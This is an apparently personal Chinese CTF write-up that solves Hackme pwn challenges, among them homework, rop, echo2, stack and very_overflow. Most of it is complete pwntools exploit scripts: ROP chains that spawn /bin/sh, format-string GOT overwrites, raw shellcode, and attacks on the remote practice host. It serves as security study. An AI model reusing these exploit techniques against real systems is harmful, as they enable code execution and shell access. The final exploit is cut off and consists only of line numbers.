PWN January 03, 2020

Hackme复现

Words count 133k Reading time 2:01 Read count 0

开启刷题模式:

学了栈溢出和格式化字符串漏洞,现在是练手的时候,打完题目总结好准备开坑堆,师傅说Hackme的题目还不错,于是果断去刚一波~下面对所有题目进行复现,也检验自己的学习情况,查缺补漏。

1、bash

一波常规操作:

这题是最简单的pwn了,题目疯狂暗示cat flag,猜想应该是直接连接远程,ls再cat flag,没什么好讲的。

1
2
3
4
5
6
7
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
p = remote('hackme.inndy.tw',7709)
p.interactive()

image.png

2、homework(数组下标溢出)

image.png

image.png

image.png

image.png

image.png

开了栈溢出保护和堆栈不可执行,看main,这里name是到bss段的,最后saybye的时候打印出来,重点看中间的程序,发现有数组,这里一开始不明感没做过这种题目,一直在想怎么泄露canary然后栈溢出去覆盖,最后ret到system,但是一直木有,师傅提示这是个新姿势,数组!数组下标溢出~学习一波先呗:

C/C++不对数组做边界检查。 可以重写数组的每一端,并写入一些其他变量的
数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行
的效率,因为如果你检查,那么编译器必须在生成的目标代码中加入额外的代
码用于程序运行时检测下标是否越界,这就会导致程序的运行速度下降,所以
为了程序的运行效率,C / C++才不检查下标是否越界。发现如果数组下标越
界了,那么它会自动接着那块内存往后写。

漏洞利用:继续往后写内存,这里就可以通过计算,写到我们的ret位置处,这样就可以直接getshell啦~

再回来这题的栈,

image.png

这里中间间隔了60,也就是15条4字节的指令,下标从0开始,那么ret的下标就是14,这样就轻松地绕过了cananry,同时这题里面有现成的system函数(0x080485FB),那么payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./homework')
if local:
p = process('./homework')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7701)
libc = ELF('./libc.so.6')

def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()

p.recvuntil("What's your name? ")
p.sendline("Your father")
p.recvuntil("4 > dump all numbers")
p.recvuntil(" > ")
p.sendline("1")
p.recvuntil("Index to edit: ")
p.sendline("14")
p.recvuntil("How many? ")
system_addr = 0x080485FB
p.sendline(str(system_addr))
p.sendline('0')
p.interactive()

这里需要注意的是要发送的都是以字符串的形式去发送的,最后退出就直接getshell了。

3、rop

看到rop感觉心里很开心,直接刚:

image.png栈溢出,只是堆栈不可执行而已,而且是静态文件,直接想到rop链盘它,还是再看看文件先:

image.png

image.png

gets函数,还是无限溢出,完美地刚一波:

命令:ROPgadget –binary rop –ropchain

脚本加上:from struct import pack

直接搞定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding=utf8
from pwn import *
from struct import pack
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./rop')
if local:
os = process('./rop')
libc = elf.libc
else:
os = remote('hackme.inndy.tw',7701)


def z(a=''):
gdb.attach(os,a)
if a == '':
raw_input()

p = ''
p += 'a'*0xC
p += p32(0xdeadbeef)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

os.send(p)
os.interactive()

以后遇到静态文件直接刚~

但是针对于这种题目,如果是动态的也要会,这里也总结下,就是ROP技术,然后没有system也没有puts函数,就要用到systemcall啦,这里32位的用execve(),系统调用号为0xb:

image.png

image.png

它的实际情况是这样的execve(”/bin/sh”,0,0),也就是说eax=0x0b,ebx=”/bin/sh” ,ecx=0,edx=0,后面两个参数可以忽略不计,这样就要找ROP啦,直接写payload啦~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./rop')
if local:
p = process('./rop')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7704)

bss_addr = elf.bss()
ppp_edx_ecx_ebx_ret = 0x0806ed00
pop_eax_ret = 0x080b8016
pop_ecx_addr_ret = 0x0804b5ba
pop_ecx_ret = 0x080de769
int_0x80 = 0x0806c943

payload = ''
payload += 'a'*0xC
payload += 'aaaa'
payload += p32(pop_ecx_ret)
payload += p32(bss_addr)
payload += p32(pop_ecx_addr_ret)
payload += '/bin'
payload += p32(pop_ecx_ret)
payload += p32(bss_addr + 4)
payload += p32(pop_ecx_addr_ret)
payload += '/sh\x00'
payload += p32(pop_eax_ret)
payload += p32(0x0b)
payload += p32(ppp_edx_ecx_ebx_ret)
payload += p32(0x0)
payload += p32(0x0)
payload += p32(bss_addr)
payload += p32(int_0x80)
p.sendline(payload)
p.interactive()

这里记得,当没有system函数时,有两种方式:1、syscall(有int_0x80,无打印函数) 2、libc偏移(前提有puts,printf函数可以泄露地址,one_gadget)

4、ROP2

image.png

image.png

syscall是系统调用函数,我看了下查了表,于是打个注释先:

image.png

image.png

这题是我们的动态链接的题目啦,逻辑很简单,首先输入一串字符串,问你能解决吗?然后要求输入到buf中,0x400,肯定是栈溢出啦~再把栈中的东西输出,鉴于上一题的经验,刚好可以一试,这里syscall就是int_0x80来的,所以只要寄存器的参数都设置好了,随时可以进行系统调用(针对64位)于是直接上payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./rop2')
if local:
p = process('./rop2')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7704)

bss_addr = elf.bss()
pop_eax_addr_ret =0x0804844e
pop_eax_edx_ecx_ret = 0x0804843e
syscall_plt = elf.symbols["syscall"]
p.recv()
payload = ''
payload += 'a'*0xC
payload += 'aaaa'
payload += p32(pop_eax_edx_ecx_ret)
payload += p32(bss_addr)
payload += p32(0)
payload += p32(0)
payload += p32(pop_eax_addr_ret)
payload += '/bin'
payload += p32(pop_eax_edx_ecx_ret)
payload += p32(bss_addr + 4)
payload += p32(0)
payload += p32(0)
payload += p32(pop_eax_addr_ret)
payload += '/sh\x00'
payload += p32(syscall_plt)
payload += p32(0xdeadbeef)
payload += p32(0x0b)
payload += p32(bss_addr)
payload += p32(0x0)
payload += p32(0x0)
p.sendline(payload)
p.recv()
p.interactive()

当然如果没有好用的ROP可以往寄存器里面写地址,再往地址写内容的话,还可以不用rop链来做,就是利用系统调用来实现:借力打力

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./rop2')
if local:
p = process('./rop2')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7703)

bss_addr = elf.bss()
ppp_edx_ecx_ebx_ret = 0x0806ed00
pop_eax_ret = 0x080b8016
pop_ecx_addr_ret = 0x0804b5ba
pop_ecx_ret = 0x080de769
int_0x80 = 0x0806c943
syscall_plt = elf.symbols["syscall"]
overflow_addr = 0x8048454

p.recv()
payload = ''
payload += 'a'*0xC
payload += 'aaaa'
payload += p32(syscall_plt)
payload += p32(overflow_addr)
payload += p32(0x3)
payload += p32(0x0)
payload += p32(bss_addr)
payload += p32(0x400)
p.sendline(payload)
p.send("/bin/sh\x00")

payload = ''
payload += 'a'*0xC
payload += 'aaaa'
payload += p32(syscall_plt)
payload += 'aaaa'
payload += p32(0x0b)
payload += p32(bss_addr)
payload += p32(0x0)
payload += p32(0x0)
p.sendline(payload)
p.recv()
p.interactive()

这就是利用read的系统调用,往bss中写入/bin/sh,然后再利用execve的系统调用就能getshell了,是个重要的技巧喔当没有read函数时怎么写入呢,那就是这条输入往地址写内容的gadget了(积累)

pop eax ; ret

地址

pop dword ptr [eax] ; ret

内容

具体利用如下:(32位和64位都适用)

payload += p32(pop_eax_ret)
payload += p32(bss_addr)
payload += p32(pop_eax_addr_ret)
payload += ‘/bin’
payload += p32(pop_eax_ret)
payload += p32(bss_addr + 4)
payload += p32(pop_eax_addr_ret)
payload += ‘/sh\x00’

5、toooomach

数字炸弹游戏,这题直接gets栈溢出跳转到print flag的函数处即可,也可以认真玩游戏,二分法(有兴趣的话):这题什么保护都没开,也是简单的栈溢出跳转,没有新姿势,直接上payload:

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
local = 0
elf = ELF('./toooomuch')
if local:
p = process('./toooomuch')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7702)
cat_flag = 0x0804863B
payload = ''
payload += 'a'*0x18
payload += 'aaaa'
payload += p32(cat_flag)
p.recvuntil("Give me your passcode: ")
p.send(payload)
p.interactive()

6、toooomach1

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
这题和上题是一样的,只是flag要在提权后才给,不一样的flag,保护都一样,这里bss是可执行的,所以直接写shellcode到bss段中,
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./toooomuch1')
if local:
p = process('./toooomuch1')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7702)
gets_plt = elf.symbols["gets"]
bss_addr = elf.bss()
start_addr = 0x0804877E
payload = ''
payload += 'a'*0x18
payload += 'aaaa'
payload += p32(gets_plt)
payload += p32(bss_addr)
payload += p32(bss_addr)
shellcode = asm(shellcraft.sh())
p.recvuntil("Give me your passcode: ")
p.sendline(payload)
p.sendline(shellcode)

p.interactive()

一般地能写入的是栈中,但是要知道shellcode在栈中的位置(esp),更多的是写入到bss段中(但是需要bss有可执行的权限)

image.png

这里有提示,我们也可以到gdb中看bss段有没有可执行的权限(vmmap命令)

7、echo

image.png

image.png

这里可以看出只开了堆栈不可执行,有完美的格式化字符串漏洞,只读取0x100的大小,没有栈溢出保护了,只能利用格式化字符串漏洞,偏移为7

image.png

这里一看就有system函数,首先想到是改got表,由于while循环会重新执行printf函数,所以直接修改printf的got表为system的plt即可,输入时随机输入~

上payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 0
elf = ELF('./echo')
if local:
p = process('./echo')
libc = elf.libc
else:
p = remote('hackme.inndy.tw', 7711)
#arch也可以是i386~看文件


printf_got = elf.got['printf']
system_plt = elf.symbols['system']

printf_got = elf.got['printf']
system_plt = elf.symbols['system']
payload =''
payload = fmtstr_payload(7,{printf_got:system_plt})
p.sendline(payload)
p.recv()
p.sendline("bin/sh")
p.interactive()

8、echo2

image.png

开了堆栈不可执行和内存地址随机化,有些棘手哎程序逻辑不变~还是格式化字符串漏洞。

image.png

这题开了保护后就比较骚了,fmtstr_payload工具(只适用于32位的程序)是用不了了,因为64位存在\x00截断符,那么只能手写了,由于低3位是不变的,所以可以通过这个去泄露出真实地址,记住fmtstr_payload这个函数,这个是专门为32位程序格式化字符串漏洞输出payload的一个函数,64位的用不了。

先来看看偏移:

image.png

这里可以知道,格式化字符串的偏移为0x25(37)+ 6 = 43,所以可以泄露出来真实地址,通过算libc偏移从而得到system的真实地址和onegadget地址,同时偏移为41的位置可以泄露出elf的基地址,泄露出来了,我们就可以改写exit的got表为我们的system的真实地址,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding=utf8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
local = 1
elf = ELF('./echo2')
if local:
p = process('./echo2')
libc = elf.libc
else:
p = remote('hackme.inndy.tw', 7712)
libc = ELF("./libc-2.23.so.x86_64")

#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

p.sendline("%43$p")

start =int(p.recvline(),16)-240
libc_base = start -libc.symbols["__libc_start_main"]

p.sendline("%41$p")
elf_base =int(p.recvline(),16)-0xa03
print "elf_base---->"+hex(elf_base)

#one_gadget = 0xf02a4+libc_base
one_gadget = 0xf0897 + libc_base
exit_got = elf.got["exit"]+elf_base
print "exit_plt-->"+hex(exit_got)
print "one_gadget-->"+hex(one_gadget)

hex_one_gadget = hex(one_gadget)

paylaod1="a"*4+"%"+str(int(hex_one_gadget[-4:],16)-4)+"c"+"%8$hn"+p64(exit_got)
p.sendline(paylaod1)
sleep(1)
paylaod2="a"*4+"%"+str(int(hex_one_gadget[-8:-4],16)-4)+"c"+"%8$hn"+p64(exit_got+2)
p.sendline(paylaod2)
sleep(1)
paylaod3="a"*4+"%"+str(int(hex_one_gadget[-12:-8],16)-4)+"c"+"%8$hn"+p64(exit_got+4)
p.sendline(paylaod3)
sleep(1)
#debug(0x0984)

p.sendline("exit")
p.interactive()

image.png
image.png
image.png
image.png

这里解释下那个为何要输入4个a,因为64位怕有截断符\x00,所以地址放在

最后面去,中间减去4是因为,它是按照写入去堆积的,所以要减掉。这样的话写入就不是格式化字符串的偏移位置了,而是要往后挪的位置,具体挪多少是需要计算得出来的,首先%1,str占用5个字节(10进制,自己可以算),c占1,%x$hn占用5个,一共12个了,由于栈中一次能存8个字节,那么要铺满2个栈位置,16个字节,就差4个字节,铺满6和7的位置后,8的位置就是exit的got表地址了,这就是偏移为8的原因,由于每次写入的是双字节,所以需要写3次地址,我们可以检验下我们的说法的正确性:

image.png

可以看到完全正确,最后payload的正确性

检验下:

image.png

9、echo3

看看保护了解下机制,再分析下逻辑:

image.png

这里我们知道开了栈溢出保护,堆栈不可执行,而且是动态链接的,

image.png

image.png

这里分析下逻辑:从文件中读取了数据到buf和magic中,然后要命的是,v3那里一波操作,把buf的地址搞得花里胡哨的,看不出来了,然后read到bss段中,就没那么容易利用了,想到lab9做过的那题,利用ebp来间接写,很好,尝试一波(在看着大佬的writeup来做的),由于做了一个抬栈的操作,alloca函数的作用是分配内存,不过是向栈申请内存。在这里被用来抬栈,而且每次都是随机的,所以要先爆破一下,泄露出地址后才进行下一步。

这是抬栈之前的栈分布:

image.png

这是抬了一手的,恶心到我了,0x28ec之前的都是0,所以很慌哎。。。

image.png)image.png

利用这个函数,看看随机到了哪里,我们才能爆破:

1
2
3
4
5
import random
for x in xrange(1,50):
buf= random.randint(0,0xffffffff)
a=16 * (((buf & 0x3039) + 30) / 0x10)
print "aaaaaa-->"+hex(a)

image.png

可以看到我们的buf起始位置在各种位置,这里会造成分配0x10,0x20,0x30,0x40,0x50,0x1020,0x1030等等的栈空间,这就是esp要抬的大小。那我们要得出正常的栈分布情况的话,就需要在gdb调试里面把这些被减去的加回来(这里用0x20 做例子),于是需要一波爆破:

首先在text:08048774 sub esp, eax下个断点,设置set $eax=0x20

然后在printf函数下个断点,接着c一下继续运行。

image.png

image.png

这题有了LAB9的那个做法经验,很快,直接上exp~

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding=utf8
from pwn import *
context.log_level='debug'
#libc = ELF('./libc-2.23.so.i386')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./echo3')

while True:
p = process('./echo3')
#p = remote('hackme.inndy.tw', 7720)
payload = '%43$p#%30$p'# %43$p-%42$p-%30$p-%31$p
#gdb.attach(p,'b *08048774')
p.sendline(payload)
data = p.recvuntil('#',drop = True)
if data[-3:] == '637':
break
p.close()

main_addr = int(data,16) - 247
libc_base = main_addr - libc.symbols['__libc_start_main']
log.info("libc address {}".format(hex(libc_base)))
libc.address = libc_base
system_addr = libc.symbols['system']
#system_addr = system_libc + libc_base


printf_got = elf.got['printf']
leak_stack = int(p.recv().strip('\n'),16)
log.info("leak stack address{}".format(hex(leak_stack)))

stack1 = leak_stack - 0x10c
log.info("stack1 address{}".format(hex(stack1)))
stack2 = leak_stack - 0x108
log.info("stack2 address{}".format(hex(stack2)))

log.info("change stack")
payload1 = ''
payload1 += '%' + str(stack1 & 0xffff) +'c%30$hn'
payload1 += '%' + str(4) + 'c%31$hn'
payload1 += '1111'
#gdb.attach(p,'b *0x08048646')
p.sendline(payload1)

log.info("wirte printf_got into stack")
payload2 = ''
payload2 += '%' + str(printf_got & 0xffff) + 'c%85$hn'
payload2 += '%' + str(2) + 'c%87$hn'
payload2 += '2222'
p.recvuntil("1111\n")
#gdb.attach(p,'b *0x08048646')
p.sendline(payload2)

log.info("change printf got")
payload3 = ''
payload3 += '%' + str(system_addr>>16 & 0xff) + 'c%20$hhn'
payload3 += '%' + str((system_addr & 0xffff)-(system_addr>>16 & 0xff)) +'c%21$hn'
payload3 += '3333'
p.recvuntil("2222\n")
#gdb.attach(p,'b *0x08048646')
p.sendline(payload3)

p.recvuntil("3333\n")
#gdb.attach(p,'b *0x08048646')
p.sendline("/bin/sh\x00")
p.interactive()

image.png

image.png

image.png

改成功了~

image.png

总结:

这题很妙,首先那个抬栈操作很像内存地址随机化,我们需要通过爆破的思路去解决,其次,写到bss段我们需要找到指向指针的指针,来完成我们的间接任意地址写,修改got表,同时利用高位相同的话,只要写入低位的就可避免产生负数,而且也可以省下一些字节,同时在每一次写入双字节时都在末尾加个标识符,用来检验输入完成!

10、smash-the-stack

image.png

image.png

这题看到栈溢出保护,一开始想到泄露canary,但是后面的write函数不行没有用,但是读入0x1000个字节,同时知道flag的地址,于是想到了那个攻击:ssp专,门克制这种题目的~

直接上payload:

1
2


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding=utf8
from pwn import *
context.log_level='debug'
local = 0
elf = ELF('./smash-the-stack')
if local:
p = process('./smash-the-stack')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7717)

payload = ''
payload += p32(0x804A060) * 1000
p.recvuntil("Try to read the flag\n")
p.send(payload)
p.interactive()

image.png

打本地的时候,乘的倍数换成100即可,具体为何,有些玄学哎。

11、one_punch

image.png

image.png

开始一点思路都没有哎,canary崩坏技巧刚不动这题,感觉不是泄露canary来栈溢出的,那么是什么呢,仔细阅读代码会发现14行是把v4的值写入到v6的地址中,任意地址写?再回去看看,那么scanf是往一个地址写入一个字节了,这下有点儿思路了,那么是不是什么地址都可以写呀?去内存看看,我透,真的是,text段都是可读可写可执行的,那么这里就可以写shellcode了,

image.png****

然后类似打patch的方法去做这题,首先要能实现循环输入,那么就要修改跳转的地址,这里我们看下ida:

image.png

这里我们通过往0x400767的位置写入-61,每一次跳转时就到scanf上面,这样就实现了重复写入的操作,接下来我们把shellcode写到0x400769后面即可,最后随便往一个地址,写入255,使得跳转失败,就相当于退出循环,往下执行,就是执行shellcode的地方了,即可getshell,上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding=utf8
from pwn import *
context.log_level='debug'
local = 0
elf = ELF('./onepunch')
if local:
p = process('./onepunch')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7718)

p.sendline('400768')
p.sendline('-61')
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
length = len(shellcode)
addr = 0x400769
for i in shellcode:
p.sendline(hex(addr))
p.sendline(str(ord(i)))
addr += 1
#这个地址随便输入,接下来输入255,不跳转,就往下执行shellcode了
p.sendline('40084C')
p.sendline('255')
p.interactive()

总结:

这题还是很新颖的,text段可改可执行,通过改写地址,打补丁解题法,也是一种积累~

格式化字符串过后就是比较高级的栈题啦~

12、stack

image.png

这里保护全开,加油吧~,继续ida分析一波

image.png

逻辑很简单,实现入栈出栈,清空和退出的功能,重点是看入栈和出栈,因为其他地方没找到漏洞点

image.png

image.png

这里有个结构体在里面,进行操作,反编译出来的东西有些看不懂哎,看看汇编代码

image.png

image.png

这里我们很难直接看出来,那么不妨动态调试一波:

image.png

第二个箭头汇编指令的意思就是把ecx的值(我们的输入)写到基址为edx,偏移为eax*4+4的地址上,因为eax=0,那么所写地址就是edx地址+4,来看看:

image.png

不出意外,那么我们的输入将会在edx下方,si一下看看:

image.png

很好,没问题,这是正常的情况,这里可以看成一个虚假的栈,栈ebp就是edx,那么栈往高地址增长(图中向下生长),esp由0xffa53ba8跳转到0xffa53bac,这是push的情况,如果你眼睛够尖锐,就会发现eax和edx的地址值都是0xff8b1278,而这个地址上存的便是偏移量的值。也就是说这个虚假栈的ebp = 0xff8b1278,esp = 0xff8b1278 + [0xff8b1278](基址+偏移),为了再次验证,我们可以看看pop的情况:

image.png

pop的话刚好反过来,它是eax作为基地址(可以看到ebp=0xff8b1278不变),edx作为偏移量,而edx又是从eax地址里面取出来的偏移量,验证完成!

那么漏洞点就在这里了!如果我们能在0xff8b1278中写入偏移量,那么就相当于控制esp了,push和pop都可,即可实现任意地址读和任意地址写,而如何往这个ebp中写入数据呢,很简单,一开始直接pop一下,esp上移,那么push时,就会把偏移量push到ebp的位置,mov指令执行时,就可以取出ebp处的偏移从而使得esp跳到任意想去的地方。所以大概思路如下:

1、pop一下,使得能够在ebp的位置写入偏移从而利用。

2、写入libc_start_main的偏移,使得esp指向libc_start_main那里,可以pop出真实地址,进而得到system和binsh

3、在ret的位置处push入system,参数部署好即可getshell

image.png

image.png

image.png

真正跑起来你会发现偏移量减少了1,细心就会发现mov操作,里面有个+4操作,所以这里减少1是对的,(eax=0x5c)*4+4 = (eax=0x5d)乘4,这样就理解好了。还有个坑点就是第二个libc_start_main才是我们的返回地址,ebp后面的不是,算出偏移为0x174,我们除以4得到0x5d(93),pop之前,esp指向libc_start_main,pop后esp退后一步,那么再push我们的onegedget,就正好填在我们的原libc_start_main的地方,esp也指向这里,最后我们退出即可getshell,当然也可以system+binsh~

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./stack')
if local:
p = process('./stack')
libc = elf.libc
else:
p = remote('hackme.inndy.tw', 7716)
libc = ELF('./libc-2.23.so.i386')

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def push(p,value):
p.sendline('i '+value)

def pop(p):
p.sendline('p')

p.recvuntil('Cmd >>')
pop(p)
p.recvuntil('Pop -> -1')
p.recvuntil('Cmd >>')
push(p,'93')
pop(p)
p.recvuntil('Pop -> ')
main_addr = int(p.recv(10))&0xffffffff
print 'main_ddr-->' + hex(main_addr)
libc_base = main_addr - libc.symbols['__libc_start_main'] - 247
sys_addr = libc_base + libc.symbols['system']
binsh = libc.search('/bin/sh\x00').next() + libc_base
p.recvuntil('Cmd >>')
push(p, str(sys_addr - (1<<32)))
p.recvuntil('Cmd >>')
push(p, '0')
p.recvuntil('Cmd >>')
push(p, str(binsh - (1<<32)))
#onegadget = 0xf1147
#onegadget = 0x5faa5
#getshell = libc_base + onegadget
#p.recvuntil('Cmd >>')
#push(p,str(getshell- (1<<32)))
p.recvuntil('Cmd >>')
p.sendline('x')
p.interactive()

这里onegaget只能打远程,打不动本地,但是system都可以~

这里学到一招整数变负数的方法,32位:X-(1<<32)= X负数形式

64位:X-(1<<64) = X负数形式

这题很有趣,好玩儿

13、very_overflow

image.png

只有一个堆栈不可执行的保护,ida看看~

image.png

典型的问题,类似于登录注册问题,这是写入数据然后可以达到修改和查看目的,这里有个结构体NOTE

1
2
3
4
struct NOTE {
struct NOTE* next;//指向下一个note
char data[128];
};

image.png

image.png

先输入3次,aaaaaaaaa,bbbbbbbb,cccccccc,然后这是我们在栈上的分布,首先是会先存储next指针,然后下一个字节存的是data,其中未有填充的用\x0a作为截断,注意这里都是小端序存储~这个图很清晰地说明了结构体的分布,接着我们要改写0号结构体的数据,因为可以输入128字节,但是前面我们只输入了8字节,所以next指针就被溢出覆盖了,那么就实现了任意地址写,我们写libc_start_main的got表地址,从而泄露出来:

image.png

覆盖成功,接着泄露出id=0的next即可泄露真实地址,真实地址有了那么system函数就到手了。

为何那里是atoi的真实地址?这里是由ida看出来的哈哈哈,那么我们只需要将setbuf和memset的真实地址改成aaaa即可,然后覆盖atoi地址为我们的system即可~,接着改写atoi的got表,按5退出时会执行atoi函数,

image.png

image.png

覆盖成功~接着退出按5即可。

就可getsehll了~exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./very_overflow')
if local:
p = process('./very_overflow')
libc = elf.libc
else:
p = remote('nc hackme.inndy.tw', 7705)
libc = ELF('./libc-2.23.so.i386')

def add(content):
p.recvuntil("Your action:")
p.sendline('1')
p.recvuntil("note: ")
gdb.attach(p,'b *0x0804868E')
p.sendline(content)

def edit(idx,content):
p.recvuntil("Your action:")
p.sendline('2')
p.recvuntil("edit: ")
p.sendline(str(idx))
p.recvuntil("data: ")
gdb.attach(p,'b *0x804870C')
p.sendline(content)
def show(idx):
p.recvuntil("Your action:")
p.sendline('3')
p.recvuntil("Which note to show: ")
p.sendline(str(idx))

add('a'*8)
add('b'*8)
add('c'*8)

main_got = elf.got['__libc_start_main']
main_libc = libc.symbols['__libc_start_main']
system_libc = libc.symbols['system']
edit(0,'a'*0xa + p32(main_got))
show(2)
p.recvuntil("Next note: ")
leak_main = int(p.recvline(10),16)
print "leak_main--->" + hex(leak_main)

libc_base = leak_main - main_libc
system = libc_base + system_libc
print "system_addr--->" + hex(system)
edit(2,p32(system)*3)
p.recv()
p.sendline('$0')
p.sendline('5')
p.interactive()

初始状态:

image.png

第一次edit:

image.png

第二次edit:

image.png

这个图是我画出的,链表的关系一目了然了~

这里真的很妙积累下日后学习堆会用上的,都是链表

14、题目:

rsbo1

image.png

这里只有堆栈不可执行的保护,看看ida:

image.png

image.png

image.png

一看0x60的栈大小要装0x80,那么肯定是栈溢出啦~而且还没有栈溢出保护,接着看到了init里面的cat flag,想到直接调用出来,那么用open、read、write函数就可以打印出flag了,这里有几个坑点:

1、offset大小:在read 0x80里面的buf有个0x8的偏移,要加上~

image.png

image.png

那么总偏移就是0x68

2、注意fd = 0时代表标准输入stdin,1时代表标准输出stdout,2时代表标准错误stderr,3~9则代表打开的文件,这里我们只打开了一个文件,那么fd就是3

3、用main实现不了跳转很奇怪?!改用start~

4、本地打不通的,很怪异,而且没有那个路径的话,需要自己搭一个

5、在填充垃圾字符串的时候,用\x00为了覆盖v8,绕过for循环,否则我们构造的rop链就会被破坏。

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
